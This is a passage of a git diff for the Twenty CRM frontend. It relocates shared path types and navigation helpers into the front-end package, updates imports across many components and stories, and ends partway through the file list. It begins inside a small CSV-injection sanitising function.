+ const stringValue = typeof value === 'string' ? value : String(value); + + if (CSV_DANGEROUS_CHARACTERS.test(stringValue)) { + return CSV_INJECTION_PREVENTION_ZWJ + stringValue; + } + + return stringValue; +}; diff --git a/packages/twenty-shared/src/types/AppBasePath.ts b/packages/twenty-front/src/modules/types/AppBasePath.ts similarity index 100% rename from packages/twenty-shared/src/types/AppBasePath.ts rename to packages/twenty-front/src/modules/types/AppBasePath.ts diff --git a/packages/twenty-shared/src/types/AppPath.ts b/packages/twenty-front/src/modules/types/AppPath.ts similarity index 100% rename from packages/twenty-shared/src/types/AppPath.ts rename to packages/twenty-front/src/modules/types/AppPath.ts diff --git a/packages/twenty-front/src/modules/types/ExtractPathParams.ts b/packages/twenty-front/src/modules/types/ExtractPathParams.ts new file mode 100644 index 0000000000..d9c14ef2c5 --- /dev/null +++ b/packages/twenty-front/src/modules/types/ExtractPathParams.ts @@ -0,0 +1,6 @@ +export type ExtractPathParams = + V extends `${string}:${infer Param}/${infer Rest}` + ? Param | ExtractPathParams<`/${Rest}`> + : V extends `${string}:${infer Param}` + ? Param + : never; diff --git a/packages/twenty-shared/src/types/SettingsPath.ts b/packages/twenty-front/src/modules/types/SettingsPath.ts similarity index 100% rename from packages/twenty-shared/src/types/SettingsPath.ts rename to packages/twenty-front/src/modules/types/SettingsPath.ts diff --git a/packages/twenty-front/src/modules/ui/layout/fullscreen/hooks/useShowFullscreen.ts b/packages/twenty-front/src/modules/ui/layout/fullscreen/hooks/useShowFullscreen.ts index daa3ffc9d9..4a0e0d0c48 100644 --- a/packages/twenty-front/src/modules/ui/layout/fullscreen/hooks/useShowFullscreen.ts +++ b/packages/twenty-front/src/modules/ui/layout/fullscreen/hooks/useShowFullscreen.ts @@ -1,7 +1,7 @@ import { useMemo } from 'react'; +import { SettingsPath } from '@/types/SettingsPath'; import { useLocation } from 'react-router-dom'; -import { SettingsPath } from 'twenty-shared/types'; import { isMatchingLocation } from '~/utils/isMatchingLocation'; export const useShowFullscreen = () => { diff --git a/packages/twenty-front/src/modules/ui/layout/hooks/__tests__/useShowAuthModal.test.tsx b/packages/twenty-front/src/modules/ui/layout/hooks/__tests__/useShowAuthModal.test.tsx index 1d67efa241..70e7ec9397 100644 --- a/packages/twenty-front/src/modules/ui/layout/hooks/__tests__/useShowAuthModal.test.tsx +++ b/packages/twenty-front/src/modules/ui/layout/hooks/__tests__/useShowAuthModal.test.tsx @@ -2,8 +2,8 @@ import { renderHook } from '@testing-library/react'; import * as reactRouterDom from 'react-router-dom'; import { RecoilRoot } from 'recoil'; +import { AppPath } from '@/types/AppPath'; import { useShowAuthModal } from '@/ui/layout/hooks/useShowAuthModal'; -import { AppPath } from 'twenty-shared/types'; import { isMatchingLocation } from '~/utils/isMatchingLocation'; jest.mock('react-router-dom', () => ({ diff --git a/packages/twenty-front/src/modules/ui/layout/hooks/useShowAuthModal.ts b/packages/twenty-front/src/modules/ui/layout/hooks/useShowAuthModal.ts index ebfc27ffac..3e4e498e10 100644 --- a/packages/twenty-front/src/modules/ui/layout/hooks/useShowAuthModal.ts +++ b/packages/twenty-front/src/modules/ui/layout/hooks/useShowAuthModal.ts @@ -1,7 +1,7 @@ import { useMemo } from 'react'; +import { AppPath } from '@/types/AppPath'; import { useLocation } from 'react-router-dom'; -import { AppPath } from 'twenty-shared/types'; import { isMatchingLocation } from '~/utils/isMatchingLocation'; export const useShowAuthModal = () => { diff --git a/packages/twenty-front/src/modules/ui/layout/page/components/DefaultLayout.tsx b/packages/twenty-front/src/modules/ui/layout/page/components/DefaultLayout.tsx index b470b7f3e4..39e0c41846 100644 --- a/packages/twenty-front/src/modules/ui/layout/page/components/DefaultLayout.tsx +++ b/packages/twenty-front/src/modules/ui/layout/page/components/DefaultLayout.tsx @@ -18,8 +18,6 @@ import { Global, css, useTheme } from '@emotion/react'; import styled from '@emotion/styled'; import { AnimatePresence, LayoutGroup, motion } from 'framer-motion'; import { Outlet, useLocation } from 'react-router-dom'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { useScreenSize } from 'twenty-ui/utilities'; const StyledLayout = styled.div` @@ -63,10 +61,8 @@ export const DefaultLayout = () => { const isSettingsPage = useIsSettingsPage(); const location = useLocation(); const isPageLayoutEditor = - location.pathname.includes(getSettingsPath(SettingsPath.PageLayoutNew)) || - location.pathname.match( - new RegExp(`${getSettingsPath(SettingsPath.PageLayout)}/[^/]+$`), - ); + location.pathname.includes('/settings/page-layout/new') || + location.pathname.match(/\/settings\/page-layout\/[^/]+$/); const theme = useTheme(); const windowsWidth = useScreenSize().width; const showAuthModal = useShowAuthModal(); diff --git a/packages/twenty-front/src/modules/ui/layout/tab-list/components/__stories__/Tablist.stories.tsx b/packages/twenty-front/src/modules/ui/layout/tab-list/components/__stories__/Tablist.stories.tsx index bd6c3766ce..7bc9846590 100644 --- a/packages/twenty-front/src/modules/ui/layout/tab-list/components/__stories__/Tablist.stories.tsx +++ b/packages/twenty-front/src/modules/ui/layout/tab-list/components/__stories__/Tablist.stories.tsx @@ -1,6 +1,5 @@ import styled from '@emotion/styled'; import { type Meta, type StoryObj } from '@storybook/react'; -import { useState } from 'react'; import { IconCalendar, IconCheckbox, @@ -12,8 +11,6 @@ import { } from 'twenty-ui/display'; import { ComponentWithRouterDecorator } from 'twenty-ui/testing'; import { TabList } from '../TabList'; -import { type TabListProps } from '../../types/TabListProps'; -import { type SingleTabProps } from '../../types/SingleTabProps'; const tabs = [ { id: 'general', title: 'General', logo: 'https://picsum.photos/200' }, @@ -83,72 +80,3 @@ export const Default: Story = { ), }; - -type TabListWithAddProps = Pick< - TabListProps, - 'componentInstanceId' | 'loading' | 'isInRightDrawer' | 'className' -> & { - initialTabs: SingleTabProps[]; -}; - -const TabListWithAdd = ({ - componentInstanceId, - loading, - isInRightDrawer, - className, - initialTabs, -}: TabListWithAddProps) => { - const [currentTabs, setCurrentTabs] = useState(initialTabs); - const [nextTabId, setNextTabId] = useState(initialTabs.length + 1); - - const handleAddTab = () => { - const newTab: SingleTabProps = { - id: `new-tab-${nextTabId}`, - title: `New Tab ${nextTabId}`, - Icon: IconCheckbox, - }; - setCurrentTabs([...currentTabs, newTab]); - setNextTabId(nextTabId + 1); - }; - - return ( - -

- Click the + button to add new tabs! -

- -
- ); -}; - -export const WithAddTab: Story = { - args: { - componentInstanceId: 'tabs-with-add', - tabs: tabs.slice(0, 3), - }, - render: (args) => ( - - ), - parameters: { - docs: { - description: { - story: - 'TabList with the ability to add new tabs dynamically using the onAddTab callback. Click the + button to add new tabs.', - }, - }, - }, -}; diff --git a/packages/twenty-front/src/modules/ui/layout/tab-list/utils/calculateVisibleTabCount.ts b/packages/twenty-front/src/modules/ui/layout/tab-list/utils/calculateVisibleTabCount.ts index fad2710629..72e4d4ed35 100644 --- a/packages/twenty-front/src/modules/ui/layout/tab-list/utils/calculateVisibleTabCount.ts +++ b/packages/twenty-front/src/modules/ui/layout/tab-list/utils/calculateVisibleTabCount.ts @@ -2,7 +2,6 @@ import { TAB_LIST_GAP } from '@/ui/layout/tab-list/constants/TabListGap'; import { TAB_LIST_LEFT_PADDING } from '@/ui/layout/tab-list/constants/TabListPadding'; import { type SingleTabProps } from '@/ui/layout/tab-list/types/SingleTabProps'; import { type TabWidthsById } from '@/ui/layout/tab-list/types/TabWidthsById'; -import { isDefined } from 'twenty-shared/utils'; type CalculateVisibleTabCountParams = { visibleTabs: SingleTabProps[]; @@ -23,6 +22,7 @@ export const calculateVisibleTabCount = ({ return visibleTabs.length; } + // Subtract add button width if present const availableWidth = containerWidth - TAB_LIST_LEFT_PADDING - @@ -33,7 +33,8 @@ export const calculateVisibleTabCount = ({ const tab = visibleTabs[i]; const tabWidth = tabWidthsById[tab.id]; - if (!isDefined(tabWidth)) { + // Skip if width not measured yet + if (tabWidth === undefined) { return visibleTabs.length; } diff --git a/packages/twenty-front/src/modules/ui/navigation/navigation-drawer/components/MultiWorkspaceDropdown/internal/MultiWorkspaceDropdownDefaultComponents.tsx b/packages/twenty-front/src/modules/ui/navigation/navigation-drawer/components/MultiWorkspaceDropdown/internal/MultiWorkspaceDropdownDefaultComponents.tsx index 1c6f0234af..3d20125f34 100644 --- a/packages/twenty-front/src/modules/ui/navigation/navigation-drawer/components/MultiWorkspaceDropdown/internal/MultiWorkspaceDropdownDefaultComponents.tsx +++ b/packages/twenty-front/src/modules/ui/navigation/navigation-drawer/components/MultiWorkspaceDropdown/internal/MultiWorkspaceDropdownDefaultComponents.tsx @@ -6,6 +6,8 @@ import { currentWorkspaceState } from '@/auth/states/currentWorkspaceState'; import { countAvailableWorkspaces } from '@/auth/utils/availableWorkspacesUtils'; import { useBuildWorkspaceUrl } from '@/domain-manager/hooks/useBuildWorkspaceUrl'; import { useRedirectToWorkspaceDomain } from '@/domain-manager/hooks/useRedirectToWorkspaceDomain'; +import { AppPath } from '@/types/AppPath'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { Dropdown } from '@/ui/layout/dropdown/components/Dropdown'; import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent'; @@ -21,8 +23,6 @@ import { type ApolloError } from '@apollo/client'; import styled from '@emotion/styled'; import { useLingui } from '@lingui/react/macro'; import { useRecoilValue, useSetRecoilState } from 'recoil'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { Avatar, IconDotsVertical, @@ -42,6 +42,7 @@ import { useSignUpInNewWorkspaceMutation, } from '~/generated-metadata/graphql'; import { getWorkspaceUrl } from '~/utils/getWorkspaceUrl'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledDescription = styled.div` color: ${({ theme }) => theme.font.color.light}; diff --git a/packages/twenty-front/src/modules/ui/navigation/navigation-drawer/components/__stories__/NavigationDrawer.stories.tsx b/packages/twenty-front/src/modules/ui/navigation/navigation-drawer/components/__stories__/NavigationDrawer.stories.tsx index 4cd72e4c77..18d8b198f7 100644 --- a/packages/twenty-front/src/modules/ui/navigation/navigation-drawer/components/__stories__/NavigationDrawer.stories.tsx +++ b/packages/twenty-front/src/modules/ui/navigation/navigation-drawer/components/__stories__/NavigationDrawer.stories.tsx @@ -1,11 +1,11 @@ -import { type Meta, type StoryObj } from '@storybook/react'; import { expect, within } from '@storybook/test'; +import { type Meta, type StoryObj } from '@storybook/react'; import { useEffect } from 'react'; import { useSetRecoilState } from 'recoil'; import { currentWorkspaceMemberState } from '@/auth/states/currentWorkspaceMemberState'; import { objectMetadataItemsState } from '@/object-metadata/states/objectMetadataItemsState'; -import { SettingsPath } from 'twenty-shared/types'; +import { SettingsPath } from '@/types/SettingsPath'; import { ComponentWithRouterDecorator } from '~/testing/decorators/ComponentWithRouterDecorator'; import { ObjectMetadataItemsDecorator } from '~/testing/decorators/ObjectMetadataItemsDecorator'; import { PrefetchLoadedDecorator } from '~/testing/decorators/PrefetchLoadedDecorator'; @@ -17,7 +17,6 @@ import { generatedMockObjectMetadataItems } from '~/testing/utils/generatedMockO import { CurrentWorkspaceMemberFavoritesFolders } from '@/favorites/components/CurrentWorkspaceMemberFavoritesFolders'; import { NavigationDrawerFixedContent } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerFixedContent'; import { NavigationDrawerSubItem } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerSubItem'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconAt, IconBell, @@ -37,7 +36,7 @@ import { import { AdvancedSettingsToggle } from 'twenty-ui/navigation'; import { getOsControlSymbol } from 'twenty-ui/utilities'; import { I18nFrontDecorator } from '~/testing/decorators/I18nFrontDecorator'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { NavigationDrawer } from '../NavigationDrawer'; import { NavigationDrawerItem } from '../NavigationDrawerItem'; import { NavigationDrawerItemGroup } from '../NavigationDrawerItemGroup'; diff --git a/packages/twenty-front/src/modules/users/components/UserProvider.tsx b/packages/twenty-front/src/modules/users/components/UserProvider.tsx index 9f9a762fd1..796f59b4cf 100644 --- a/packages/twenty-front/src/modules/users/components/UserProvider.tsx +++ b/packages/twenty-front/src/modules/users/components/UserProvider.tsx @@ -3,9 +3,9 @@ import { useRecoilValue } from 'recoil'; import { isCurrentUserLoadedState } from '@/auth/states/isCurrentUserLoadedState'; import { dateTimeFormatState } from '@/localization/states/dateTimeFormatState'; +import { AppPath } from '@/types/AppPath'; import { UserContext } from '@/users/contexts/UserContext'; import { useLocation } from 'react-router-dom'; -import { AppPath } from 'twenty-shared/types'; import { UserOrMetadataLoader } from '~/loading/components/UserOrMetadataLoader'; import { isMatchingLocation } from '~/utils/isMatchingLocation'; diff --git a/packages/twenty-front/src/modules/users/components/UserProviderEffect.tsx b/packages/twenty-front/src/modules/users/components/UserProviderEffect.tsx index 33a6d0e879..f402252d1a 100644 --- a/packages/twenty-front/src/modules/users/components/UserProviderEffect.tsx +++ b/packages/twenty-front/src/modules/users/components/UserProviderEffect.tsx @@ -17,6 +17,7 @@ import { detectTimeFormat } from '@/localization/utils/detectTimeFormat'; import { detectTimeZone } from '@/localization/utils/detectTimeZone'; import { getDateFormatFromWorkspaceDateFormat } from '@/localization/utils/getDateFormatFromWorkspaceDateFormat'; import { getTimeFormatFromWorkspaceTimeFormat } from '@/localization/utils/getTimeFormatFromWorkspaceTimeFormat'; +import { AppPath } from '@/types/AppPath'; import { getDateFnsLocale } from '@/ui/field/display/utils/getDateFnsLocale.util'; import { coreViewsState } from '@/views/states/coreViewState'; import { type CoreViewWithRelations } from '@/views/types/CoreViewWithRelations'; @@ -25,7 +26,7 @@ import { enUS } from 'date-fns/locale'; import { useEffect } from 'react'; import { useLocation } from 'react-router-dom'; import { type APP_LOCALES, SOURCE_LOCALE } from 'twenty-shared/translations'; -import { AppPath, type ObjectPermissions } from 'twenty-shared/types'; +import { type ObjectPermissions } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { type WorkspaceMember, diff --git a/packages/twenty-front/src/modules/views/view-picker/hooks/useGetAvailableFieldsForKanban.ts b/packages/twenty-front/src/modules/views/view-picker/hooks/useGetAvailableFieldsForKanban.ts index 6c11b244df..9738e91b31 100644 --- a/packages/twenty-front/src/modules/views/view-picker/hooks/useGetAvailableFieldsForKanban.ts +++ b/packages/twenty-front/src/modules/views/view-picker/hooks/useGetAvailableFieldsForKanban.ts @@ -3,10 +3,10 @@ import { useLocation } from 'react-router-dom'; import { useRecoilValue, useSetRecoilState } from 'recoil'; import { objectMetadataItemsState } from '@/object-metadata/states/objectMetadataItemsState'; +import { SettingsPath } from '@/types/SettingsPath'; import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState'; import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; import { viewObjectMetadataIdComponentState } from '@/views/states/viewObjectMetadataIdComponentState'; -import { SettingsPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { FieldMetadataType } from '~/generated-metadata/graphql'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; diff --git a/packages/twenty-front/src/modules/workflow/components/OverrideWorkflowDraftConfirmationModal.tsx b/packages/twenty-front/src/modules/workflow/components/OverrideWorkflowDraftConfirmationModal.tsx index f342eccb26..04630e4ef7 100644 --- a/packages/twenty-front/src/modules/workflow/components/OverrideWorkflowDraftConfirmationModal.tsx +++ b/packages/twenty-front/src/modules/workflow/components/OverrideWorkflowDraftConfirmationModal.tsx @@ -1,4 +1,5 @@ import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular'; +import { AppPath } from '@/types/AppPath'; import { ConfirmationModal, StyledCenteredButton, @@ -7,9 +8,8 @@ import { useModal } from '@/ui/layout/modal/hooks/useModal'; import { OVERRIDE_WORKFLOW_DRAFT_CONFIRMATION_MODAL_ID } from '@/workflow/constants/OverrideWorkflowDraftConfirmationModalId'; import { useCreateDraftFromWorkflowVersion } from '@/workflow/hooks/useCreateDraftFromWorkflowVersion'; import { useLingui } from '@lingui/react/macro'; -import { AppPath } from 'twenty-shared/types'; -import { getAppPath } from 'twenty-shared/utils'; import { useNavigateApp } from '~/hooks/useNavigateApp'; +import { getAppPath } from '~/utils/navigation/getAppPath'; export const OverrideWorkflowDraftConfirmationModal = ({ workflowId, diff --git a/packages/twenty-front/src/modules/workflow/workflow-steps/workflow-actions/components/WorkflowEditActionSendEmail.tsx b/packages/twenty-front/src/modules/workflow/workflow-steps/workflow-actions/components/WorkflowEditActionSendEmail.tsx index d03272644a..e7db8c1bdf 100644 --- a/packages/twenty-front/src/modules/workflow/workflow-steps/workflow-actions/components/WorkflowEditActionSendEmail.tsx +++ b/packages/twenty-front/src/modules/workflow/workflow-steps/workflow-actions/components/WorkflowEditActionSendEmail.tsx @@ -6,6 +6,7 @@ import { useCommandMenu } from '@/command-menu/hooks/useCommandMenu'; import { useFindManyRecords } from '@/object-record/hooks/useFindManyRecords'; import { FormTextFieldInput } from '@/object-record/record-field/ui/form-types/components/FormTextFieldInput'; import { useTriggerApisOAuth } from '@/settings/accounts/hooks/useTriggerApiOAuth'; +import { SettingsPath } from '@/types/SettingsPath'; import { Select } from '@/ui/input/components/Select'; import { GenericDropdownContentWidth } from '@/ui/layout/dropdown/constants/GenericDropdownContentWidth'; import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; @@ -18,7 +19,7 @@ import { WorkflowVariablePicker } from '@/workflow/workflow-variables/components import { useTheme } from '@emotion/react'; import { useEffect, useState } from 'react'; import { useRecoilValue } from 'recoil'; -import { ConnectedAccountProvider, SettingsPath } from 'twenty-shared/types'; +import { ConnectedAccountProvider } from 'twenty-shared/types'; import { assertUnreachable, isDefined } from 'twenty-shared/utils'; import { IconPlus, useIcons } from 'twenty-ui/display'; import { type SelectOption } from 'twenty-ui/input'; diff --git a/packages/twenty-front/src/pages/auth/Authorize.tsx b/packages/twenty-front/src/pages/auth/Authorize.tsx index 1c5fad16a7..b57fdd2330 100644 --- a/packages/twenty-front/src/pages/auth/Authorize.tsx +++ b/packages/twenty-front/src/pages/auth/Authorize.tsx @@ -1,7 +1,7 @@ +import { AppPath } from '@/types/AppPath'; import styled from '@emotion/styled'; import { useEffect, useState } from 'react'; import { useSearchParams } from 'react-router-dom'; -import { AppPath } from 'twenty-shared/types'; import { useRedirect } from '@/domain-manager/hooks/useRedirect'; import { useLingui } from '@lingui/react/macro'; diff --git a/packages/twenty-front/src/pages/auth/PasswordReset.tsx b/packages/twenty-front/src/pages/auth/PasswordReset.tsx index b5685e3cc5..c02b404f4b 100644 --- a/packages/twenty-front/src/pages/auth/PasswordReset.tsx +++ b/packages/twenty-front/src/pages/auth/PasswordReset.tsx @@ -6,6 +6,7 @@ import { useIsLogged } from '@/auth/hooks/useIsLogged'; import { workspacePublicDataState } from '@/auth/states/workspacePublicDataState'; import { PASSWORD_REGEX } from '@/auth/utils/passwordRegex'; import { useReadCaptchaToken } from '@/captcha/hooks/useReadCaptchaToken'; +import { AppPath } from '@/types/AppPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { TextInput } from '@/ui/input/components/TextInput'; import { Modal } from '@/ui/layout/modal/components/Modal'; @@ -21,7 +22,6 @@ import { Controller, useForm } from 'react-hook-form'; import Skeleton, { SkeletonTheme } from 'react-loading-skeleton'; import { useParams } from 'react-router-dom'; import { useRecoilValue } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { MainButton } from 'twenty-ui/input'; import { AnimatedEaseIn } from 'twenty-ui/utilities'; import { z } from 'zod'; diff --git a/packages/twenty-front/src/pages/auth/__stories__/SignInUp.stories.tsx b/packages/twenty-front/src/pages/auth/__stories__/SignInUp.stories.tsx index 4407df2dae..f3176c1ff3 100644 --- a/packages/twenty-front/src/pages/auth/__stories__/SignInUp.stories.tsx +++ b/packages/twenty-front/src/pages/auth/__stories__/SignInUp.stories.tsx @@ -10,7 +10,7 @@ import { } from '~/testing/decorators/PageDecorator'; import { graphqlMocks } from '~/testing/graphqlMocks'; -import { AppPath } from 'twenty-shared/types'; +import { AppPath } from '@/types/AppPath'; import { SignInUp } from '../SignInUp'; const meta: Meta = { diff --git a/packages/twenty-front/src/pages/auth/__stories__/SignInUpWithInvite.stories.tsx b/packages/twenty-front/src/pages/auth/__stories__/SignInUpWithInvite.stories.tsx index 3bb140889d..93d5092746 100644 --- a/packages/twenty-front/src/pages/auth/__stories__/SignInUpWithInvite.stories.tsx +++ b/packages/twenty-front/src/pages/auth/__stories__/SignInUpWithInvite.stories.tsx @@ -11,7 +11,7 @@ import { } from '~/testing/decorators/PageDecorator'; import { graphqlMocks } from '~/testing/graphqlMocks'; -import { AppPath } from 'twenty-shared/types'; +import { AppPath } from '@/types/AppPath'; import { SignInUp } from '../SignInUp'; const meta: Meta = { diff --git a/packages/twenty-front/src/pages/not-found/NotFound.tsx b/packages/twenty-front/src/pages/not-found/NotFound.tsx index c57c9e87b1..2c16a20b3a 100644 --- a/packages/twenty-front/src/pages/not-found/NotFound.tsx +++ b/packages/twenty-front/src/pages/not-found/NotFound.tsx @@ -1,11 +1,10 @@ import { SignInBackgroundMockPage } from '@/sign-in-background-mock/components/SignInBackgroundMockPage'; +import { AppPath } from '@/types/AppPath'; import { Trans, useLingui } from '@lingui/react/macro'; -import { AppPath } from 'twenty-shared/types'; import { RootStackingContextZIndices } from '@/ui/layout/constants/RootStackingContextZIndices'; import { PageTitle } from '@/ui/utilities/page-title/components/PageTitle'; import styled from '@emotion/styled'; -import { MainButton } from 'twenty-ui/input'; import { AnimatedPlaceholder, AnimatedPlaceholderEmptyTextContainer, @@ -13,6 +12,7 @@ import { AnimatedPlaceholderErrorSubTitle, AnimatedPlaceholderErrorTitle, } from 'twenty-ui/layout'; +import { MainButton } from 'twenty-ui/input'; import { UndecoratedLink } from 'twenty-ui/navigation'; const StyledBackDrop = styled.div` diff --git a/packages/twenty-front/src/pages/onboarding/BookCall.tsx b/packages/twenty-front/src/pages/onboarding/BookCall.tsx index f1bd45f48d..2c6d16d537 100644 --- a/packages/twenty-front/src/pages/onboarding/BookCall.tsx +++ b/packages/twenty-front/src/pages/onboarding/BookCall.tsx @@ -5,12 +5,12 @@ import { Link } from 'react-router-dom'; import { currentUserState } from '@/auth/states/currentUserState'; import { calendarBookingPageIdState } from '@/client-config/states/calendarBookingPageIdState'; import { useSetNextOnboardingStatus } from '@/onboarding/hooks/useSetNextOnboardingStatus'; +import { AppPath } from '@/types/AppPath'; import { Modal } from '@/ui/layout/modal/components/Modal'; import { ScrollWrapper } from '@/ui/utilities/scroll/components/ScrollWrapper'; import { useTheme } from '@emotion/react'; import { useLingui } from '@lingui/react/macro'; import { useRecoilValue } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { IconChevronLeft, IconChevronRightPipe } from 'twenty-ui/display'; import { LightButton } from 'twenty-ui/input'; import { useIsMobile } from 'twenty-ui/utilities'; diff --git a/packages/twenty-front/src/pages/onboarding/BookCallDecision.tsx b/packages/twenty-front/src/pages/onboarding/BookCallDecision.tsx index 78ebb06bb1..039d4d158c 100644 --- a/packages/twenty-front/src/pages/onboarding/BookCallDecision.tsx +++ b/packages/twenty-front/src/pages/onboarding/BookCallDecision.tsx @@ -1,11 +1,11 @@ import { SubTitle } from '@/auth/components/SubTitle'; import { Title } from '@/auth/components/Title'; import { useSetNextOnboardingStatus } from '@/onboarding/hooks/useSetNextOnboardingStatus'; +import { AppPath } from '@/types/AppPath'; import { Modal } from '@/ui/layout/modal/components/Modal'; import styled from '@emotion/styled'; import { Trans, useLingui } from '@lingui/react/macro'; import { Link } from 'react-router-dom'; -import { AppPath } from 'twenty-shared/types'; import { LightButton, MainButton } from 'twenty-ui/input'; import { useSkipBookOnboardingStepMutation } from '~/generated-metadata/graphql'; diff --git a/packages/twenty-front/src/pages/onboarding/ChooseYourPlan.tsx b/packages/twenty-front/src/pages/onboarding/ChooseYourPlan.tsx index 58fffef732..df2d1dddce 100644 --- a/packages/twenty-front/src/pages/onboarding/ChooseYourPlan.tsx +++ b/packages/twenty-front/src/pages/onboarding/ChooseYourPlan.tsx @@ -10,11 +10,11 @@ import { useHandleCheckoutSession } from '@/billing/hooks/useHandleCheckoutSessi import { isBillingPriceLicensed } from '@/billing/utils/isBillingPriceLicensed'; import { billingState } from '@/client-config/states/billingState'; import { calendarBookingPageIdState } from '@/client-config/states/calendarBookingPageIdState'; +import { AppPath } from '@/types/AppPath'; import { Modal } from '@/ui/layout/modal/components/Modal'; import styled from '@emotion/styled'; import { Trans, useLingui } from '@lingui/react/macro'; import { useRecoilState, useRecoilValue } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { Loader } from 'twenty-ui/feedback'; import { CardPicker, MainButton } from 'twenty-ui/input'; diff --git a/packages/twenty-front/src/pages/onboarding/PaymentSuccess.tsx b/packages/twenty-front/src/pages/onboarding/PaymentSuccess.tsx index f9afb3d7e9..75e225d53c 100644 --- a/packages/twenty-front/src/pages/onboarding/PaymentSuccess.tsx +++ b/packages/twenty-front/src/pages/onboarding/PaymentSuccess.tsx @@ -2,12 +2,12 @@ import { SubTitle } from '@/auth/components/SubTitle'; import { Title } from '@/auth/components/Title'; import { currentUserState } from '@/auth/states/currentUserState'; import { OnboardingModalCircularIcon } from '@/onboarding/components/OnboardingModalCircularIcon'; +import { AppPath } from '@/types/AppPath'; import { Modal } from '@/ui/layout/modal/components/Modal'; import { useSubscriptionStatus } from '@/workspace/hooks/useSubscriptionStatus'; import styled from '@emotion/styled'; import { useState } from 'react'; import { useSetRecoilState } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { IconCheck } from 'twenty-ui/display'; import { Loader } from 'twenty-ui/feedback'; diff --git a/packages/twenty-front/src/pages/onboarding/SyncEmails.tsx b/packages/twenty-front/src/pages/onboarding/SyncEmails.tsx index 24d08a8cfd..5fe970efb1 100644 --- a/packages/twenty-front/src/pages/onboarding/SyncEmails.tsx +++ b/packages/twenty-front/src/pages/onboarding/SyncEmails.tsx @@ -14,10 +14,11 @@ import { isGoogleMessagingEnabledState } from '@/client-config/states/isGoogleMe import { isMicrosoftCalendarEnabledState } from '@/client-config/states/isMicrosoftCalendarEnabledState'; import { isMicrosoftMessagingEnabledState } from '@/client-config/states/isMicrosoftMessagingEnabledState'; import { useTriggerApisOAuth } from '@/settings/accounts/hooks/useTriggerApiOAuth'; +import { AppPath } from '@/types/AppPath'; import { PageFocusId } from '@/types/PageFocusId'; import { Modal } from '@/ui/layout/modal/components/Modal'; import { useHotkeysOnFocusedElement } from '@/ui/utilities/hotkey/hooks/useHotkeysOnFocusedElement'; -import { AppPath, ConnectedAccountProvider } from 'twenty-shared/types'; +import { ConnectedAccountProvider } from 'twenty-shared/types'; import { IconGoogle, IconMicrosoft } from 'twenty-ui/display'; import { MainButton } from 'twenty-ui/input'; import { ClickToActionLink } from 'twenty-ui/navigation'; diff --git a/packages/twenty-front/src/pages/onboarding/__stories__/ChooseYourPlan.stories.tsx b/packages/twenty-front/src/pages/onboarding/__stories__/ChooseYourPlan.stories.tsx index 7e0a49d0a7..5bc7b640ca 100644 --- a/packages/twenty-front/src/pages/onboarding/__stories__/ChooseYourPlan.stories.tsx +++ b/packages/twenty-front/src/pages/onboarding/__stories__/ChooseYourPlan.stories.tsx @@ -4,8 +4,8 @@ import { within } from '@storybook/test'; import { HttpResponse, graphql } from 'msw'; import { BILLING_BASE_PRODUCT_PRICES } from '@/billing/graphql/queries/billingBaseProductPrices'; +import { AppPath } from '@/types/AppPath'; import { GET_CURRENT_USER } from '@/users/graphql/queries/getCurrentUser'; -import { AppPath } from 'twenty-shared/types'; import { BillingPlanKey, OnboardingStatus, diff --git a/packages/twenty-front/src/pages/onboarding/__stories__/CreateProfile.stories.tsx b/packages/twenty-front/src/pages/onboarding/__stories__/CreateProfile.stories.tsx index 789b1704b1..43a790079e 100644 --- a/packages/twenty-front/src/pages/onboarding/__stories__/CreateProfile.stories.tsx +++ b/packages/twenty-front/src/pages/onboarding/__stories__/CreateProfile.stories.tsx @@ -3,8 +3,8 @@ import { type Meta, type StoryObj } from '@storybook/react'; import { within } from '@storybook/test'; import { HttpResponse, graphql } from 'msw'; +import { AppPath } from '@/types/AppPath'; import { GET_CURRENT_USER } from '@/users/graphql/queries/getCurrentUser'; -import { AppPath } from 'twenty-shared/types'; import { OnboardingStatus } from '~/generated/graphql'; import { CreateProfile } from '~/pages/onboarding/CreateProfile'; import { diff --git a/packages/twenty-front/src/pages/onboarding/__stories__/CreateWorkspace.stories.tsx b/packages/twenty-front/src/pages/onboarding/__stories__/CreateWorkspace.stories.tsx index 50feb6bff6..667883439e 100644 --- a/packages/twenty-front/src/pages/onboarding/__stories__/CreateWorkspace.stories.tsx +++ b/packages/twenty-front/src/pages/onboarding/__stories__/CreateWorkspace.stories.tsx @@ -3,8 +3,8 @@ import { type Meta, type StoryObj } from '@storybook/react'; import { within } from '@storybook/test'; import { HttpResponse, graphql } from 'msw'; +import { AppPath } from '@/types/AppPath'; import { GET_CURRENT_USER } from '@/users/graphql/queries/getCurrentUser'; -import { AppPath } from 'twenty-shared/types'; import { OnboardingStatus } from '~/generated/graphql'; import { CreateWorkspace } from '~/pages/onboarding/CreateWorkspace'; import { diff --git a/packages/twenty-front/src/pages/onboarding/__stories__/InviteTeam.stories.tsx b/packages/twenty-front/src/pages/onboarding/__stories__/InviteTeam.stories.tsx index 2ae4047524..85ede2b314 100644 --- 